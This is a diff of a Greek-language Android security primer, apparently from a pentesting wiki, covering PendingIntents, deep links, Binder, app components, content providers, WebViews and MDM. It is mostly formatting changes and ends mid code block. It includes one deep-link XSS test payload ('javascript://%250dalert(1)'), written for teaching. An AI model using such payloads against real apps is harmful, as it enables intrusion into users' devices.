Αυτές επιτρέπουν σε άλλες εφαρμογές να **εκτελούν ενέργειες εκ μέρους της εφαρμογής σας**, χρησιμοποιώντας την ταυτότητα και τις άδειες της εφαρμογής σας. Κατά τη δημιουργία μιας Ενέργειας που εκκρεμεί πρέπει να **καθοριστεί ένα intent και η ενέργεια που πρέπει να εκτελεστεί**. Αν το **δηλωμένο intent δεν είναι Συγκεκριμένο** (δεν δηλώνει ποιο intent μπορεί να το καλέσει), μια **κακόβουλη εφαρμογή μπορεί να εκτελέσει τη δηλωμένη ενέργεια** εκ μέρους της εφαρμογής θύματος. Επιπλέον, **αν δεν καθοριστεί μια ενέργεια**, η κακόβουλη εφαρμογή θα μπορεί να κάνει **οποιαδήποτε ενέργεια εκ μέρους του θύματος**.
|
Αυτές επιτρέπουν σε άλλες εφαρμογές να **εκτελούν ενέργειες εκ μέρους της εφαρμογής σας**, χρησιμοποιώντας την ταυτότητα και τις άδειες της εφαρμογής σας. Κατά τη δημιουργία μιας Ενέργειας που εκκρεμεί πρέπει να **καθοριστεί ένα intent και η ενέργεια που πρέπει να εκτελεστεί**. Αν το **δηλωμένο intent δεν είναι Συγκεκριμένο** (δεν δηλώνει ποιο intent μπορεί να το καλέσει), μια **κακόβουλη εφαρμογή μπορεί να εκτελέσει τη δηλωμένη ενέργεια** εκ μέρους της εφαρμογής θύματος. Επιπλέον, **αν δεν καθοριστεί μια ενέργεια**, η κακόβουλη εφαρμογή θα μπορεί να κάνει **οποιαδήποτε ενέργεια εκ μέρους του θύματος**.
|
||||||
|
@ -166,6 +177,7 @@ context.startService(intent);
|
||||||
Στις εφαρμογές Android, οι **βαθιοί σύνδεσμοι** χρησιμοποιούνται για να εκκινήσουν μια ενέργεια (Intent) απευθείας μέσω ενός URL. Αυτό γίνεται δηλώνοντας ένα συγκεκριμένο **σχήμα URL** εντός μιας δραστηριότητας. Όταν μια συσκευή Android προσπαθεί να **έχει πρόσβαση σε ένα URL με αυτό το σχήμα**, η συγκεκριμένη δραστηριότητα εντός της εφαρμογής εκκινείται.
|
Στις εφαρμογές Android, οι **βαθιοί σύνδεσμοι** χρησιμοποιούνται για να εκκινήσουν μια ενέργεια (Intent) απευθείας μέσω ενός URL. Αυτό γίνεται δηλώνοντας ένα συγκεκριμένο **σχήμα URL** εντός μιας δραστηριότητας. Όταν μια συσκευή Android προσπαθεί να **έχει πρόσβαση σε ένα URL με αυτό το σχήμα**, η συγκεκριμένη δραστηριότητα εντός της εφαρμογής εκκινείται.
|
||||||
|
|
||||||
Το σχήμα πρέπει να δηλωθεί στο αρχείο **`AndroidManifest.xml`**:
|
Το σχήμα πρέπει να δηλωθεί στο αρχείο **`AndroidManifest.xml`**:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
[...]
|
[...]
|
||||||
<activity android:name=".MyActivity">
|
<activity android:name=".MyActivity">
|
||||||
|
@ -177,19 +189,24 @@ context.startService(intent);
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
|
||||||
Το σχήμα από το προηγούμενο παράδειγμα είναι `exampleapp://` (σημειώστε επίσης τη **`κατηγορία BROWSABLE`**)
|
Το σχήμα από το προηγούμενο παράδειγμα είναι `exampleapp://` (σημειώστε επίσης τη **`κατηγορία BROWSABLE`**)
|
||||||
|
|
||||||
Στο πεδίο δεδομένων, μπορείτε να καθορίσετε το **host** και τη **διαδρομή**:
|
Στο πεδίο δεδομένων, μπορείτε να καθορίσετε το **host** και τη **διαδρομή**:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<data android:scheme="examplescheme"
|
<data android:scheme="examplescheme"
|
||||||
android:host="example"
|
android:host="example"
|
||||||
/>
|
/>
|
||||||
```
|
```
|
||||||
|
|
||||||
Για να έχετε πρόσβαση από το web, μπορείτε να ορίσετε ένα σύνδεσμο όπως:
|
Για να έχετε πρόσβαση από το web, μπορείτε να ορίσετε ένα σύνδεσμο όπως:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<a href="examplescheme://example/something">click here</a>
|
<a href="examplescheme://example/something">click here</a>
|
||||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||||
```
|
```
|
||||||
|
|
||||||
Για να βρείτε τον **κώδικα που θα εκτελεστεί στην εφαρμογή**, πηγαίνετε στη δραστηριότητα που καλείται από το deeplink και αναζητήστε τη λειτουργία **`onNewIntent`**.
|
Για να βρείτε τον **κώδικα που θα εκτελεστεί στην εφαρμογή**, πηγαίνετε στη δραστηριότητα που καλείται από το deeplink και αναζητήστε τη λειτουργία **`onNewIntent`**.
|
||||||
|
|
||||||
Μάθετε πώς να [καλείτε deep links χωρίς τη χρήση σελίδων HTML](./#exploiting-schemes-deep-links).
|
Μάθετε πώς να [καλείτε deep links χωρίς τη χρήση σελίδων HTML](./#exploiting-schemes-deep-links).
|
||||||
|
@ -200,11 +217,9 @@ android:host="example"
|
||||||
|
|
||||||
### Βασικές Έννοιες
|
### Βασικές Έννοιες
|
||||||
|
|
||||||
- **Υπηρεσίες που συνδέονται**: Αυτές οι υπηρεσίες χρησιμοποιούν την AIDL για IPC, επιτρέποντας σε δραστηριότητες ή στοιχεία να συνδεθούν με μια υπηρεσία, να κάνουν αιτήσεις και να λαμβάνουν απαντήσεις. Η μέθοδος `onBind` στην κλάση της υπηρεσίας είναι κρίσιμη για την έναρξη της αλληλεπίδρασης, καθιστώντας την έναν σημαντικό τομέα για αναθεώρηση ασφάλειας ώστε να αναζητηθούν ευπάθειες.
|
* **Υπηρεσίες που συνδέονται**: Αυτές οι υπηρεσίες χρησιμοποιούν την AIDL για IPC, επιτρέποντας σε δραστηριότητες ή στοιχεία να συνδεθούν με μια υπηρεσία, να κάνουν αιτήσεις και να λαμβάνουν απαντήσεις. Η μέθοδος `onBind` στην κλάση της υπηρεσίας είναι κρίσιμη για την έναρξη της αλληλεπίδρασης, καθιστώντας την έναν σημαντικό τομέα για αναθεώρηση ασφάλειας ώστε να αναζητηθούν ευπάθειες.
|
||||||
|
* **Messenger**: Λειτουργώντας ως συνδεδεμένη υπηρεσία, ο Messenger διευκολύνει το IPC με έμφαση στην επεξεργασία δεδομένων μέσω της μεθόδου `onBind`. Είναι ουσιώδες να ελέγξετε προσεκτικά αυτήν τη μέθοδο για οποιαδήποτε μη ασφαλή χειρισμό δεδομένων ή εκτέλεση ευαίσθητων λειτουργιών.
|
||||||
- **Messenger**: Λειτουργώντας ως συνδεδεμένη υπηρεσία, ο Messenger διευκολύνει το IPC με έμφαση στην επεξεργασία δεδομένων μέσω της μεθόδου `onBind`. Είναι ουσιώδες να ελέγξετε προσεκτικά αυτήν τη μέθοδο για οποιαδήποτε μη ασφαλή χειρισμό δεδομένων ή εκτέλεση ευαίσθητων λειτουργιών.
|
* **Binder**: Παρόλο που η άμεση χρήση της κλάσης Binder είναι λιγότερο συνηθισμένη λόγω της αφαίρεσης της AIDL, είναι χρήσιμο να κατανοήσετε ότι ο Binder λειτουργεί ως οδηγός σε επίπεδο πυρήνα που διευκολύνει τη μεταφορά δεδομένων μεταξύ των χώρων μνήμης διαφορετικών διεργασιών. Για περισσότερη κατανόηση, υπάρχει ένας πόρος στο [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||||
|
|
||||||
- **Binder**: Παρόλο που η άμεση χρήση της κλάσης Binder είναι λιγότερο συνηθισμένη λόγω της αφαίρεσης της AIDL, είναι χρήσιμο να κατανοήσετε ότι ο Binder λειτουργεί ως οδηγός σε επίπεδο πυρήνα που διευκολύνει τη μεταφορά δεδομένων μεταξύ των χώρων μνήμης διαφορετικών διεργασιών. Για περισσότερη κατανόηση, υπάρχει ένας πόρος στο [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
|
||||||
|
|
||||||
## Στοιχεία
|
## Στοιχεία
|
||||||
|
|
||||||
|
@ -215,6 +230,7 @@ android:host="example"
|
||||||
Στις εφαρμογές Android, οι **δραστηριότητες** είναι σαν οθόνες, που εμφανίζουν διαφορετικά τμήματα της διεπαφής χρήστη της εφαρμογής. Μια εφαρμογή μπορεί να έχει πολλές δραστηριότητες, καθεμία παρουσιάζοντας μια μοναδική οθόνη στον χρήστη.
|
Στις εφαρμογές Android, οι **δραστηριότητες** είναι σαν οθόνες, που εμφανίζουν διαφορετικά τμήματα της διεπαφής χρήστη της εφαρμογής. Μια εφαρμογή μπορεί να έχει πολλές δραστηριότητες, καθεμία παρουσιάζοντας μια μοναδική οθόνη στον χρήστη.
|
||||||
|
|
||||||
Η **δραστηριότητα εκκίνησης** είναι η κύρια πύλη εισόδου σε μια εφαρμογή, που εκκινείται όταν πατάτε το εικονίδιο της εφαρμογής. Ορίζεται στο αρχείο με τις δηλώσεις της εφαρμογής με συγκεκριμένες προθέσεις MAIN και LAUNCHER:
|
Η **δραστηριότητα εκκίνησης** είναι η κύρια πύλη εισόδου σε μια εφαρμογή, που εκκινείται όταν πατάτε το εικονίδιο της εφαρμογής. Ορίζεται στο αρχείο με τις δηλώσεις της εφαρμογής με συγκεκριμένες προθέσεις MAIN και LAUNCHER:
|
||||||
|
|
||||||
```markup
|
```markup
|
||||||
<activity android:name=".LauncherActivity">
|
<activity android:name=".LauncherActivity">
|
||||||
<intent-filter>
|
<intent-filter>
|
||||||
|
@ -223,12 +239,15 @@ android:host="example"
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
|
|
||||||
Δεν όλες οι εφαρμογές χρειάζονται μια δραστηριότητα εκκίνησης, ειδικά αυτές που δεν έχουν διεπαφή χρήστη, όπως οι υπηρεσίες φόντου.
|
Δεν όλες οι εφαρμογές χρειάζονται μια δραστηριότητα εκκίνησης, ειδικά αυτές που δεν έχουν διεπαφή χρήστη, όπως οι υπηρεσίες φόντου.
|
||||||
|
|
||||||
Οι δραστηριότητες μπορούν να γίνουν διαθέσιμες σε άλλες εφαρμογές ή διεργασίες σημειώνοντάς τες ως "εξαγωγή" στον πίνακα. Αυτή η ρύθμιση επιτρέπει σε άλλες εφαρμογές να ξεκινήσουν αυτήν τη δραστηριότητα:
|
Οι δραστηριότητες μπορούν να γίνουν διαθέσιμες σε άλλες εφαρμογές ή διεργασίες σημειώνοντάς τες ως "εξαγωγή" στον πίνακα. Αυτή η ρύθμιση επιτρέπει σε άλλες εφαρμογές να ξεκινήσουν αυτήν τη δραστηριότητα:
|
||||||
|
|
||||||
```markdown
|
```markdown
|
||||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||||
```
|
```
|
||||||
|
|
||||||
Ωστόσο, η πρόσβαση σε μια δραστηριότητα από μια άλλη εφαρμογή δεν αποτελεί πάντα κίνδυνο για την ασφάλεια. Η ανησυχία προκύπτει εάν ευαίσθητα δεδομένα μοιράζονται εσφαλμένα, κάτι που θα μπορούσε να οδηγήσει σε διαρροές πληροφοριών.
|
Ωστόσο, η πρόσβαση σε μια δραστηριότητα από μια άλλη εφαρμογή δεν αποτελεί πάντα κίνδυνο για την ασφάλεια. Η ανησυχία προκύπτει εάν ευαίσθητα δεδομένα μοιράζονται εσφαλμένα, κάτι που θα μπορούσε να οδηγήσει σε διαρροές πληροφοριών.
|
||||||
|
|
||||||
Το **κύκλο ζωής μιας δραστηριότητας** ξεκινά με τη μέθοδο **onCreate**, δημιουργώντας το UI και προετοιμάζοντας τη δραστηριότητα για αλληλεπίδραση με τον χρήστη.
|
Το **κύκλο ζωής μιας δραστηριότητας** ξεκινά με τη μέθοδο **onCreate**, δημιουργώντας το UI και προετοιμάζοντας τη δραστηριότητα για αλληλεπίδραση με τον χρήστη.
|
||||||
|
@ -236,6 +255,7 @@ android:host="example"
|
||||||
### Υποκλάση Εφαρμογής
|
### Υποκλάση Εφαρμογής
|
||||||
|
|
||||||
Στην ανάπτυξη Android, μια εφαρμογή έχει τη δυνατότητα να δημιουργήσει μια **υποκλάση** της κλάσης [Application](https://developer.android.com/reference/android/app/Application), αν και δεν είναι υποχρεωτικό. Όταν ορίζεται μια τέτοια υποκλάση, γίνεται η πρώτη κλάση που δημιουργείται στην εφαρμογή. Η μέθοδος **`attachBaseContext`**, εάν υλοποιηθεί σε αυτή την υποκλάση, εκτελείται πριν τη μέθοδο **`onCreate`**. Αυτή η ρύθμιση επιτρέπει την πρώιμη αρχικοποίηση πριν ξεκινήσει η υπόλοιπη εφαρμογή.
|
Στην ανάπτυξη Android, μια εφαρμογή έχει τη δυνατότητα να δημιουργήσει μια **υποκλάση** της κλάσης [Application](https://developer.android.com/reference/android/app/Application), αν και δεν είναι υποχρεωτικό. Όταν ορίζεται μια τέτοια υποκλάση, γίνεται η πρώτη κλάση που δημιουργείται στην εφαρμογή. Η μέθοδος **`attachBaseContext`**, εάν υλοποιηθεί σε αυτή την υποκλάση, εκτελείται πριν τη μέθοδο **`onCreate`**. Αυτή η ρύθμιση επιτρέπει την πρώιμη αρχικοποίηση πριν ξεκινήσει η υπόλοιπη εφαρμογή.
|
||||||
|
|
||||||
```java
|
```java
|
||||||
public class MyApp extends Application {
|
public class MyApp extends Application {
|
||||||
@Override
|
@Override
|
||||||
|
@ -251,6 +271,7 @@ super.onCreate();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Υπηρεσίες
|
### Υπηρεσίες
|
||||||
|
|
||||||
[Οι υπηρεσίες](https://developer.android.com/guide/components/services) είναι **φόντο λειτουργοί** ικανοί να εκτελούν εργασίες χωρίς διεπαφή χρήστη. Αυτές οι εργασίες μπορούν να συνεχίσουν να εκτελούνται ακόμα και όταν οι χρήστες μεταβαίνουν σε διαφορετικές εφαρμογές, κάνοντας τις υπηρεσίες κρίσιμες για **εργασίες μεγάλης διάρκειας**.
|
[Οι υπηρεσίες](https://developer.android.com/guide/components/services) είναι **φόντο λειτουργοί** ικανοί να εκτελούν εργασίες χωρίς διεπαφή χρήστη. Αυτές οι εργασίες μπορούν να συνεχίσουν να εκτελούνται ακόμα και όταν οι χρήστες μεταβαίνουν σε διαφορετικές εφαρμογές, κάνοντας τις υπηρεσίες κρίσιμες για **εργασίες μεγάλης διάρκειας**.
|
||||||
|
@ -258,9 +279,11 @@ super.onCreate();
|
||||||
Οι υπηρεσίες είναι ευέλικτες. Μπορούν να εκκινηθούν με διάφορους τρόπους, με τα **Intents** να είναι ο κύριος τρόπος εκκίνησής τους ως σημείο εισόδου μιας εφαρμογής. Μόλις μια υπηρεσία ξεκινήσει χρησιμοποιώντας τη μέθοδο `startService`, η μέθοδος `onStart` της ενεργοποιείται και συνεχίζει να εκτελείται μέχρι να κληθεί εκ των υστέρων η μέθοδος `stopService`. Εναλλακτικά, αν ο ρόλος μιας υπηρεσίας εξαρτάται από μια ενεργή σύνδεση πελάτη, χρησιμοποιείται η μέθοδος `bindService` για τη σύνδεση του πελάτη με την υπηρεσία, ενεργοποιώντας τη μέθοδο `onBind` για τη μετάδοση δεδομένων.
|
Οι υπηρεσίες είναι ευέλικτες. Μπορούν να εκκινηθούν με διάφορους τρόπους, με τα **Intents** να είναι ο κύριος τρόπος εκκίνησής τους ως σημείο εισόδου μιας εφαρμογής. Μόλις μια υπηρεσία ξεκινήσει χρησιμοποιώντας τη μέθοδο `startService`, η μέθοδος `onStart` της ενεργοποιείται και συνεχίζει να εκτελείται μέχρι να κληθεί εκ των υστέρων η μέθοδος `stopService`. Εναλλακτικά, αν ο ρόλος μιας υπηρεσίας εξαρτάται από μια ενεργή σύνδεση πελάτη, χρησιμοποιείται η μέθοδος `bindService` για τη σύνδεση του πελάτη με την υπηρεσία, ενεργοποιώντας τη μέθοδο `onBind` για τη μετάδοση δεδομένων.
|
||||||
|
|
||||||
Ένα ενδιαφέρον παράδειγμα χρήσης των υπηρεσιών περιλαμβάνει την αναπαραγωγή μουσικής στο φόντο ή τη λήψη δεδομένων δικτύου χωρίς να εμποδίζεται η αλληλεπίδραση του χρήστη με μια εφαρμογή. Επιπλέον, οι υπηρεσίες μπορούν να γίνουν προσβάσιμες σε άλλες διεργασίες στην ίδια συσκευή μέσω της **εξαγωγής**. Αυτή δεν είναι η προεπιλεγμένη συμπεριφορά και απαιτεί σαφή ρύθμιση στο αρχείο Android Manifest:
|
Ένα ενδιαφέρον παράδειγμα χρήσης των υπηρεσιών περιλαμβάνει την αναπαραγωγή μουσικής στο φόντο ή τη λήψη δεδομένων δικτύου χωρίς να εμποδίζεται η αλληλεπίδραση του χρήστη με μια εφαρμογή. Επιπλέον, οι υπηρεσίες μπορούν να γίνουν προσβάσιμες σε άλλες διεργασίες στην ίδια συσκευή μέσω της **εξαγωγής**. Αυτή δεν είναι η προεπιλεγμένη συμπεριφορά και απαιτεί σαφή ρύθμιση στο αρχείο Android Manifest:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Αποδέκτες Εκπομπής
|
### Αποδέκτες Εκπομπής
|
||||||
|
|
||||||
Οι **αποδέκτες εκπομπής** λειτουργούν ως ακροατές σε ένα σύστημα μηνυμάτων, επιτρέποντας σε πολλές εφαρμογές να ανταποκρίνονται στα ίδια μηνύματα από το σύστημα. Μια εφαρμογή μπορεί να **καταχωρήσει έναν αποδέκτη** με **δύο βασικούς τρόπους**: μέσω του **Μανιφέστου** της εφαρμογής ή **δυναμικά** μέσα στον κώδικα της εφαρμογής μέσω του API **`registerReceiver`**. Στο Μανιφέστο, οι εκπομπές φιλτράρονται με δικαιώματα, ενώ οι δυναμικά καταχωρημένοι αποδέκτες μπορούν επίσης να καθορίσουν δικαιώματα κατά την καταχώρηση.
|
Οι **αποδέκτες εκπομπής** λειτουργούν ως ακροατές σε ένα σύστημα μηνυμάτων, επιτρέποντας σε πολλές εφαρμογές να ανταποκρίνονται στα ίδια μηνύματα από το σύστημα. Μια εφαρμογή μπορεί να **καταχωρήσει έναν αποδέκτη** με **δύο βασικούς τρόπους**: μέσω του **Μανιφέστου** της εφαρμογής ή **δυναμικά** μέσα στον κώδικα της εφαρμογής μέσω του API **`registerReceiver`**. Στο Μανιφέστο, οι εκπομπές φιλτράρονται με δικαιώματα, ενώ οι δυναμικά καταχωρημένοι αποδέκτες μπορούν επίσης να καθορίσουν δικαιώματα κατά την καταχώρηση.
|
||||||
|
@ -280,6 +303,7 @@ super.onCreate();
|
||||||
**FileProvider**, ένας εξειδικευμένος Πάροχος Περιεχομένου, επικεντρώνεται στον ασφαλή διαμοιρασμό αρχείων. Ορίζεται στο μανιφέστο της εφαρμογής με συγκεκριμένα χαρακτηριστικά για τον έλεγχο της πρόσβασης σε φακέλους, που υποδεικνύονται από τα `android:exported` και `android:resource` που δείχνουν σε ρυθμίσεις φακέλων. Συνιστάται προσοχή κατά τον διαμοιρασμό καταλόγων για να αποφευχθεί η αποκάλυψη ευαίσθητων δεδομένων κατά λάθος.
|
**FileProvider**, ένας εξειδικευμένος Πάροχος Περιεχομένου, επικεντρώνεται στον ασφαλή διαμοιρασμό αρχείων. Ορίζεται στο μανιφέστο της εφαρμογής με συγκεκριμένα χαρακτηριστικά για τον έλεγχο της πρόσβασης σε φακέλους, που υποδεικνύονται από τα `android:exported` και `android:resource` που δείχνουν σε ρυθμίσεις φακέλων. Συνιστάται προσοχή κατά τον διαμοιρασμό καταλόγων για να αποφευχθεί η αποκάλυψη ευαίσθητων δεδομένων κατά λάθος.
|
||||||
|
|
||||||
Παράδειγμα δήλωσης μανιφέστου για το FileProvider:
|
Παράδειγμα δήλωσης μανιφέστου για το FileProvider:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<provider android:name="androidx.core.content.FileProvider"
|
<provider android:name="androidx.core.content.FileProvider"
|
||||||
android:authorities="com.example.myapp.fileprovider"
|
android:authorities="com.example.myapp.fileprovider"
|
||||||
|
@ -289,15 +313,19 @@ android:exported="false">
|
||||||
android:resource="@xml/filepaths" />
|
android:resource="@xml/filepaths" />
|
||||||
</provider>
|
</provider>
|
||||||
```
|
```
|
||||||
|
|
||||||
Και ένα παράδειγμα καθορισμού κοινόχρηστων φακέλων στο `filepaths.xml`:
|
Και ένα παράδειγμα καθορισμού κοινόχρηστων φακέλων στο `filepaths.xml`:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<paths>
|
<paths>
|
||||||
<files-path path="images/" name="myimages" />
|
<files-path path="images/" name="myimages" />
|
||||||
</paths>
|
</paths>
|
||||||
```
|
```
|
||||||
|
|
||||||
Για περισσότερες πληροφορίες ελέγξτε:
|
Για περισσότερες πληροφορίες ελέγξτε:
|
||||||
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
|
||||||
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
* [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||||
|
* [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||||
|
|
||||||
## WebViews
|
## WebViews
|
||||||
|
|
||||||
|
@ -305,33 +333,35 @@ android:resource="@xml/filepaths" />
|
||||||
|
|
||||||
Το Android προσφέρει δύο κύριους τύπους WebView:
|
Το Android προσφέρει δύο κύριους τύπους WebView:
|
||||||
|
|
||||||
- Ο **WebViewClient** είναι ιδανικός για βασικό HTML αλλά δεν υποστηρίζει τη λειτουργία ειδοποίησης JavaScript, επηρεάζοντας τον τρόπο που μπορούν να δοκιμαστούν οι επιθέσεις XSS.
|
* Ο **WebViewClient** είναι ιδανικός για βασικό HTML αλλά δεν υποστηρίζει τη λειτουργία ειδοποίησης JavaScript, επηρεάζοντας τον τρόπο που μπορούν να δοκιμαστούν οι επιθέσεις XSS.
|
||||||
- Ο **WebChromeClient** λειτουργεί περισσότερο σαν την πλήρη εμπειρία του πλοηγού Chrome.
|
* Ο **WebChromeClient** λειτουργεί περισσότερο σαν την πλήρη εμπειρία του πλοηγού Chrome.
|
||||||
|
|
||||||
Ένα σημαντικό σημείο είναι ότι οι browsers των WebViews **δεν μοιράζονται cookies** με τον κύριο browser της συσκευής.
|
Ένα σημαντικό σημείο είναι ότι οι browsers των WebViews **δεν μοιράζονται cookies** με τον κύριο browser της συσκευής.
|
||||||
|
|
||||||
Για τη φόρτωση περιεχομένου, διατίθενται μέθοδοι όπως η ````loadUrl````, ````loadData````, και ````loadDataWithBaseURL````. Είναι κρίσιμο να εξασφαλίσετε ότι αυτά τα URLs ή αρχεία είναι **ασφαλή για χρήση**. Οι ρυθμίσεις ασφαλείας μπορούν να διαχειριστούν μέσω της κλάσης ````WebSettings````. Για παράδειγμα, η απενεργοποίηση του JavaScript με την εντολή ````setJavaScriptEnabled(false)```` μπορεί να αποτρέψει επιθέσεις XSS.
|
Για τη φόρτωση περιεχομένου, διατίθενται μέθοδοι όπως η `loadUrl`, `loadData`, και `loadDataWithBaseURL`. Είναι κρίσιμο να εξασφαλίσετε ότι αυτά τα URLs ή αρχεία είναι **ασφαλή για χρήση**. Οι ρυθμίσεις ασφαλείας μπορούν να διαχειριστούν μέσω της κλάσης `WebSettings`. Για παράδειγμα, η απενεργοποίηση του JavaScript με την εντολή `setJavaScriptEnabled(false)` μπορεί να αποτρέψει επιθέσεις XSS.
|
||||||
|
|
||||||
Η JavaScript "Bridge" επιτρέπει σε αντικείμενα Java να αλληλεπιδρούν με το JavaScript, απαιτώντας οι μέθοδοι να επισημαίνονται με το ````@JavascriptInterface```` για ασφάλεια από το Android 4.2 και μετά.
|
Η JavaScript "Bridge" επιτρέπει σε αντικείμενα Java να αλληλεπιδρούν με το JavaScript, απαιτώντας οι μέθοδοι να επισημαίνονται με το `@JavascriptInterface` για ασφάλεια από το Android 4.2 και μετά.
|
||||||
|
|
||||||
Η επιτροπή πρόσβασης περιεχομένου (````setAllowContentAccess(true)````) επιτρέπει στις WebViews να φτάσουν τους Content Providers, που θα μπορούσε να αποτελέσει κίνδυνο εκτός αν οι διευθύνσεις URL του περιεχομένου επαληθευτούν ως ασφαλείς.
|
Η επιτροπή πρόσβασης περιεχομένου (`setAllowContentAccess(true)`) επιτρέπει στις WebViews να φτάσουν τους Content Providers, που θα μπορούσε να αποτελέσει κίνδυνο εκτός αν οι διευθύνσεις URL του περιεχομένου επαληθευτούν ως ασφαλείς.
|
||||||
|
|
||||||
Για τον έλεγχο της πρόσβασης σε αρχεία:
|
Για τον έλεγχο της πρόσβασης σε αρχεία:
|
||||||
- Η απενεργοποίηση της πρόσβασης σε αρχεία (````setAllowFileAccess(false)````) περιορίζει την πρόσβαση στο σύστημα αρχείων, με εξαιρέσεις για συγκεκριμένα αρχεία, εξασφαλίζοντας ότι χρησιμοποιούνται μόνο για μη-ευαίσθητο περιεχόμενο.
|
|
||||||
|
* Η απενεργοποίηση της πρόσβασης σε αρχεία (`setAllowFileAccess(false)`) περιορίζει την πρόσβαση στο σύστημα αρχείων, με εξαιρέσεις για συγκεκριμένα αρχεία, εξασφαλίζοντας ότι χρησιμοποιούνται μόνο για μη-ευαίσθητο περιεχόμενο.
|
||||||
|
|
||||||
## Άλλα Στοιχεία Εφαρμογών και Διαχείρισης Κινητών Συσκευών
|
## Άλλα Στοιχεία Εφαρμογών και Διαχείρισης Κινητών Συσκευών
|
||||||
|
|
||||||
### **Ψηφιακή Υπογραφή Εφαρμογών**
|
### **Ψηφιακή Υπογραφή Εφαρμογών**
|
||||||
|
|
||||||
- Η **ψηφιακή υπογραφή** είναι απαραίτητη για τις εφαρμογές Android, εξασφαλίζοντας ότι είναι **αυθεντικά υπογεγραμμένες** πριν την εγκατάσταση. Αυτή η διαδικασία χρησιμοποιεί ένα πιστοποιητικό για την ταυτοποίηση της εφαρμογής και πρέπει να επαληθευτεί από τον διαχειριστή πακέτων της συσκευής κατά την εγκατάσταση. Οι εφαρμογές μπορούν να είναι **αυτο-υπογεγραμμένες ή πιστοποιημένες από εξωτερική αρχή πιστοποίησης**, προστατεύοντας από μη εξουσιοδοτημένη πρόσβαση και εξασφαλίζοντας ότι η εφαρμογή παραμένει αμετάβλητη κατά την παράδοσή της στη συσκευή.
|
* Η **ψηφιακή υπογραφή** είναι απαραίτητη για τις εφαρμογές Android, εξασφαλίζοντας ότι είναι **αυθεντικά υπογεγραμμένες** πριν την εγκατάσταση. Αυτή η διαδικασία χρησιμοποιεί ένα πιστοποιητικό για την ταυτοποίηση της εφαρμογής και πρέπει να επαληθευτεί από τον διαχειριστή πακέτων της συσκευής κατά την εγκατάσταση. Οι εφαρμογές μπορούν να είναι **αυτο-υπογεγραμμένες ή πιστοποιημένες από εξωτερική αρχή πιστοποίησης**, προστατεύοντας από μη εξουσιοδοτημένη πρόσβαση και εξασφαλίζοντας ότι η εφαρμογή παραμένει αμετάβλητη κατά την παράδοσή της στη συσκευή.
|
||||||
|
|
||||||
### **Επαλήθευση Εφαρμογών για Ενισχυμένη Ασφάλεια**
|
### **Επαλήθευση Εφαρμογών για Ενισχυμένη Ασφάλεια**
|
||||||
|
|
||||||
- Ξεκινώντας από την **Android 4.2**, μια λειτουργία με το όνομα **Επαλήθευση Εφαρμογών** επιτρέπει στους χρήστες να ελέγχουν τις εφαρμογές για ασφάλεια πριν την εγκατάσταση. Αυτή η **διαδικασία επαλήθευσης** μπορεί να προειδοποιήσει τους χρήστες για πιθανά επικίνδυνες εφαρμογές, ή ακόμα και να αποτρέψει την εγκατάσταση ιδιαίτερα κακόβουλων, βελτιώνοντας την ασφάλεια του χρήστη.
|
* Ξεκινώντας από την **Android 4.2**, μια λειτουργία με το όνομα **Επαλήθευση Εφαρμογών** επιτρέπει στους χρήστες να ελέγχουν τις εφαρμογές για ασφάλεια πριν την εγκατάσταση. Αυτή η **διαδικασία επαλήθευσης** μπορεί να προειδοποιήσει τους χρήστες για πιθανά επικίνδυνες εφαρμογές, ή ακόμα και να αποτρέψει την εγκατάσταση ιδιαίτερα κακόβουλων, βελτιώνοντας την ασφάλεια του χρήστη.
|
||||||
|
|
||||||
### **Διαχείριση Κινητών Συσκευών (MDM)**
|
### **Διαχείριση Κινητών Συσκευών (MDM)**
|
||||||
|
|
||||||
- Οι **λύσεις MDM** παρέχουν **επίβλεψη και ασφάλεια** για κινητές συσκευές μέσω του **API Διαχείρισης Συσκευών**. Απαιτούν την εγκατάσταση μιας εφαρμογής Android για την αποτελεσματική διαχείριση και ασφάλεια των κινητών συσκευών. Κύριες λειτουργίες περιλαμβάνουν την **επιβολή πολιτικών κωδικών πρόσβασης**, την **υποχρέωση κρυπτογράφησης αποθήκευσης**, και την **επιτροπή απομακρυσμένης διαγραφής δεδομένων**, εξασφαλίζοντας πλήρη έλεγχο και ασφάλεια πάνω από τις κινητές συσκευές.
|
* Οι **λύσεις MDM** παρέχουν **επίβλεψη και ασφάλεια** για κινητές συσκευές μέσω του **API Διαχείρισης Συσκευών**. Απαιτούν την εγκατάσταση μιας εφαρμογής Android για την αποτελεσματική διαχείριση και ασφάλεια των κινητών συσκευών. Κύριες λειτουργίες περιλαμβάνουν την **επιβολή πολιτικών κωδικών πρόσβασης**, την **υποχρέωση κρυπτογράφησης αποθήκευσης**, και την **επιτροπή απομακρυσμένης διαγραφής δεδομένων**, εξασφαλίζοντας πλήρη έλεγχο και ασφάλεια πάνω από τις κινητές συσκευές.
|
||||||
|
|
||||||
```java
|
```java
|
||||||
// Example of enforcing a password policy with MDM
|
// Example of enforcing a password policy with MDM
|
||||||
